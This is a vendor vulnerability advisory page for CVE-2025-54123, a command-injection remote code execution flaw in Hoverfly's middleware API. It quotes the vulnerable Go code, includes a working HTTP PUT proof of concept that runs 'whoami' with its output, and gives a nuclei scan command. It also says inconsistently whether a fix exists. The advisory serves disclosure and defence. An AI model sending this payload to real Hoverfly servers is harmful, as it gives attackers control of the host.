Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2025-54123 — hoverfly

CRITICALFix: SpectoLabs/hoverfly@17e60a9

CVE-2025-54123 is a critical-severity (CVSS 9.8) Improper Input Validation vulnerability in github.com/SpectoLabs/hoverfly. 1 public exploit reference exists, so weaponization risk is real. No vendor fix is recorded yet; mitigation options are listed below.

Hoverfly vulnerable to remote code execution at `/api/v2/hoverfly/middleware` endpoint due to insecure middleware implementation

Also known asGHSA-r4h8-hfp2-ggmfGO-2025-3944
Published
Sep 10, 2025
Updated
Aug 12, 2026
Affected
1 pkg
Patched
See advisory
Exploits
1 known
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54123.

EPSS Exploitation Probability

via FIRST.org ↗
10.5%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs96th percentile — riskier than 96% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-54123 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/SpectoLabs/hoverfly

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its /api/v2/hoverfly/middleware endpoint due to insufficient validation and sanitization in user input.

Details

The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware.

This issue is born due to combination of three code level flaws:

  1. Insufficient Input Validation in middleware.go line 94-96:
func (this *Middleware) SetBinary(binary string) error {
    this.Binary = binary  // No validation of binary parameter here
    return nil
}
  1. Unsafe Command Execution in local_middleware.go line 14-19:
var middlewareCommand *exec.Cmd
if this.Script == nil {
    middlewareCommand = exec.Command(this.Binary)  // User-controlled binary
} else {
    middlewareCommand = exec.Command(this.Binary, this.Script.Name())  // User-controlled binary and script
}
  1. Immediate Execution During Testing in hoverfly_service.go line 173:
_, err = newMiddleware.Execute(testData)  // Executes middleware immediately for testing

POC

  1. Send the below HTTP PUT request to http://localhost:8888 in order to create our malicious middleware, this will execute a simple whoami command on target. (ADMIN UI/API)

Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: /bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101

{
    "binary": "/bin/bash",
    "script": "whoami"
}
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jul 2025 15:55:49 GMT
Content-Length: 540
Content-Type: text/plain; charset=utf-8

{"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"}

(Here, the user is kr1shna4garwal)

Impact

This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.

Reporter: @kr1shna4garwal

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/SpectoLabs/hoverflyall versionsNo fix
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/SpectoLabs/hoverfly, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/SpectoLabs/hoverfly has shipped for CVE-2025-54123 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-54123 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-54123. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

How to detect CVE-2025-54123

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2025-54123 -u https://target
Template
Hoverfly <= 1.11.3 - Remote Code Execution
Severity
critical
Impact
Unauthenticated attackers can inject arbitrary operating system commands through the middleware API endpoint, achieving complete server compromise.
Remediation
Upgrade Hoverfly to a version later than 1.11.3 that properly validates the binary and script parameters in the middleware endpoint.

Template by ProjectDiscovery nuclei-templates (nukunga[seonghyeonJeon]), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

### Summary It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. ### Details The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: 1. Insufficient Input Validation in [middleware.go line 94-96](https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93): ``` func (this *Middleware) SetBinary(bi
O3 Security · Impact-Aware SCA

Is CVE-2025-54123 in your dependencies?

O3 Security finds CVE-2025-54123 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-54123: hoverfly RCE (Critical 9.8) | O3 Security